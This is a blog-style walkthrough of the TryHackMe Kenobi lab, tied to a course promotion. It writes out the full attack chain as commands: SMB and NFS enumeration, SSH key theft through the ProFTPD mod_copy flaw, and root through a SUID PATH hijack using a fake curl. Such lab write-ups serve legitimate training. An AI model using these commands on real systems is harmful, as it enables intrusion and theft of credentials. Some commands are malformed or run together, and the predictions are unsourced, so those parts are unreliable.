Listen to this Post
Introduction:
The convergence of artificial intelligence and cybersecurity has given rise to a new breed of security professionals who combine offensive security techniques with AI-driven insights. The TryHackMe Kenobi machine-hacking project—a flagship hands-on exercise featured in Entri’s AI-Powered Cybersecurity Course—exemplifies this practical approach to learning. By walking through a complete penetration testing lifecycle—from initial reconnaissance and SMB enumeration to FTP exploitation, NFS mounting, SSH key theft, and SUID-based privilege escalation—this project demonstrates how real-world Linux systems are compromised and, more importantly, how they can be defended.
Learning Objectives:
- Master network reconnaissance using Nmap to identify open ports, services, and potential attack vectors on Linux targets
- Exploit misconfigured SMB shares to extract sensitive information, including user credentials and SSH key locations
- Leverage the ProFTPD mod_copy vulnerability (CVE-2015-3306) to copy private SSH keys via SITE CPFR and SITE CPTO commands
- Mount NFS shares to extract stolen credentials and gain initial SSH access
- Escalate privileges from a standard user to root by exploiting SUID binaries through PATH variable manipulation
You Should Know:
1. Reconnaissance and Service Enumeration
The first phase of any penetration test involves comprehensive network reconnaissance. For the Kenobi machine, this begins with an Nmap scan to identify open ports and running services.
Step-by-Step Guide:
Step 1: Initial Nmap Scan
Run a full-port scan with service version detection and default scripts:
sudo nmap -sV -sC -O -T4 <target_ip>
This reveals critical services including ProFTPD 1.3.5 on port 21, OpenSSH on port 22, Apache HTTP on port 80, RPC/NFS on ports 111 and 2049, and SMB on ports 139 and 445.
Step 2: SMB Share Enumeration
Enumerate SMB shares using Nmap scripts:
sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse <target_ip>
This reveals three shares: IPC$, print$, and an anonymous share with read/write access.
Step 3: Accessing the Anonymous Share
Connect to the anonymous share using smbclient:
smbclient //<target_ip>/anonymous -1
Inside, you’ll find a `log.txt` file. Download it:
get log.txt
The log file contains critical intelligence: it reveals that the FTP service runs as the “kenobi” user and that an SSH key exists at /home/kenobi/.ssh/id_rsa.
Step 4: NFS Share Enumeration
Enumerate NFS exports:
sudo nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <target_ip>
This confirms that the `/var` directory is exported via NFS, providing a writable location accessible from the attacker’s machine.
2. Exploiting ProFTPD 1.3.5 (CVE-2015-3306)
The ProFTPD 1.3.5 server running on the target is vulnerable to a file copy vulnerability in the mod_copy module. This allows an attacker to copy arbitrary files on the server using SITE CPFR (copy from) and SITE CPTO (copy to) commands.
Step-by-Step Guide:
Step 1: Verify the FTP Version
Connect to the FTP service using netcat:
nc -v <target_ip> 21
The banner confirms: 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation).
Step 2: Search for Exploits
Use Searchsploit to find known vulnerabilities:
searchsploit ProFTPD 1.3.5
This identifies the mod_copy file copy vulnerability (exploit ID 36742).
Step 3: Copy the SSH Private Key
Using the SITE CPFR and SITE CPTO commands, copy Kenobi’s private SSH key to the NFS-exported `/var/tmp` directory:
nc <target_ip> 21 SITE CPFR /home/kenobi/.ssh/id_rsa SITE CPTO /var/tmp/id_rsa
The CPFR command specifies the source file, while CPTO specifies the destination.
Step 4: Mount the NFS Share and Extract the Key
On your attacker machine, create a mount point and mount the remote NFS share:
sudo mkdir /mnt/kenobi_nfs sudo mount -t nfs <target_ip>:/var /mnt/kenobi_nfs
Copy the stolen SSH key to your local machine:
cp /mnt/kenobi_nfs/tmp/id_rsa ~/id_rsa chmod 600 ~/id_rsa
The `chmod 600` command is essential—SSH will refuse to use a private key with loose permissions.
Step 5: Gain SSH Access
Connect to the target as the kenobi user using the stolen private key:
ssh -i ~/id_rsa kenobi@<target_ip>
You now have shell access as the kenobi user.
- Privilege Escalation via SUID Binary and PATH Manipulation
With initial access as the kenobi user, the next objective is to escalate privileges to root. The Kenobi machine includes a SUID binary that executes system commands using relative paths, creating a PATH hijacking opportunity.
Step-by-Step Guide:
Step 1: Identify SUID Binaries
Search for files with the SUID bit set:
find / -perm -u=s -type f 2>/dev/null
This reveals /usr/bin/menu—a custom SUID binary owned by root.
Step 2: Analyze the Binary’s Behavior
Execute the menu binary to understand its functionality:
/usr/bin/menu
The binary presents three options, each executing a system command:
– Option 1: `curl -I localhost`
– Option 2: `uname -r`
– Option 3: `ifconfig`
Crucially, these commands are invoked using relative paths (e.g., `curl` instead of /usr/bin/curl).
Step 3: Exploit PATH Variable Hijacking
Because the binary runs with root privileges and uses relative paths, you can manipulate the PATH environment variable to execute a malicious script instead of the intended command.
Create a fake `curl` executable in a writable directory:
echo "/bin/bash" > /tmp/curl chmod +x /tmp/curl
Modify the PATH variable to prioritize `/tmp`:
export PATH=/tmp:$PATH
Now execute the menu binary and select option 1:
/usr/bin/menu
Instead of running the real curl command, the binary executes your fake `curl` script, spawning a root shell.
Step 4: Verify Root Access
Once the root shell spawns, confirm your privileges:
whoami id
You should see `root` as the output. Navigate to `/root` and retrieve the root flag:
cat /root/root.txt
4. AI-Powered Cybersecurity: The Bigger Picture
The Kenobi machine-hacking project is more than just a CTF exercise—it’s a microcosm of real-world penetration testing. The AI-Powered Cybersecurity Course from Entri integrates such hands-on labs with AI-driven threat detection and automated vulnerability assessment. Modern security practitioners leverage AI tools to:
– Automate reconnaissance and vulnerability scanning across thousands of assets
– Correlate threat intelligence to prioritize high-risk vulnerabilities
– Generate natural-language reports from penetration testing findings
– Simulate attacker behavior using machine learning models
The course curriculum spans ethical hacking fundamentals, penetration testing methodologies, vulnerability assessment, web security, and AI-powered security techniques. By combining theoretical knowledge with practical machine-hacking projects like Kenobi, learners develop the muscle memory required to identify, exploit, and remediate real-world vulnerabilities.
What Undercode Say:
- Key Takeaway 1: The Kenobi project demonstrates that successful penetration testing relies on chaining multiple low-severity misconfigurations—anonymous SMB shares, vulnerable FTP services, exported NFS directories, and SUID binaries—into a complete compromise chain. Each individual weakness may seem minor, but together they create a critical attack path.
-
Key Takeaway 2: AI-powered cybersecurity training bridges the gap between theory and practice by embedding hands-on exploitation labs within structured curricula. The ability to “break things legally” in controlled environments like TryHackMe builds the practical skills needed to defend against real adversaries. As the cybersecurity landscape evolves, professionals who combine offensive security expertise with AI-driven defensive strategies will be uniquely positioned to protect modern digital infrastructures.
Prediction:
-
+1 The integration of AI-powered tools into cybersecurity training will accelerate the development of security professionals, reducing the average time from novice to competent penetration tester by 40–60% through personalized, adaptive learning paths.
-
+1 Machine-hacking projects like Kenobi will become standard components of cybersecurity certifications, as hands-on exploitation skills are increasingly valued alongside theoretical knowledge in hiring practices.
-
-1 The democratization of penetration testing skills through accessible platforms like TryHackMe and AI-enhanced courses will lower the barrier to entry for threat actors, potentially increasing the volume of low-skill cyberattacks in the short term.
-
-1 Organizations that fail to adopt AI-driven security monitoring will struggle to keep pace with attackers who leverage AI for reconnaissance and exploit automation, widening the cybersecurity skills gap.
-
+1 The gamification of ethical hacking through platforms like TryHackMe, combined with AI-powered course recommendations, will create a sustainable pipeline of security talent, addressing the global shortage of 4 million cybersecurity professionals.
▶️ Related Video (80% Match):
https://www.youtube.com/watch?v=2W7F0D-Yk_w
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: https://lnkd.in/p/ekJ5GbTc – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
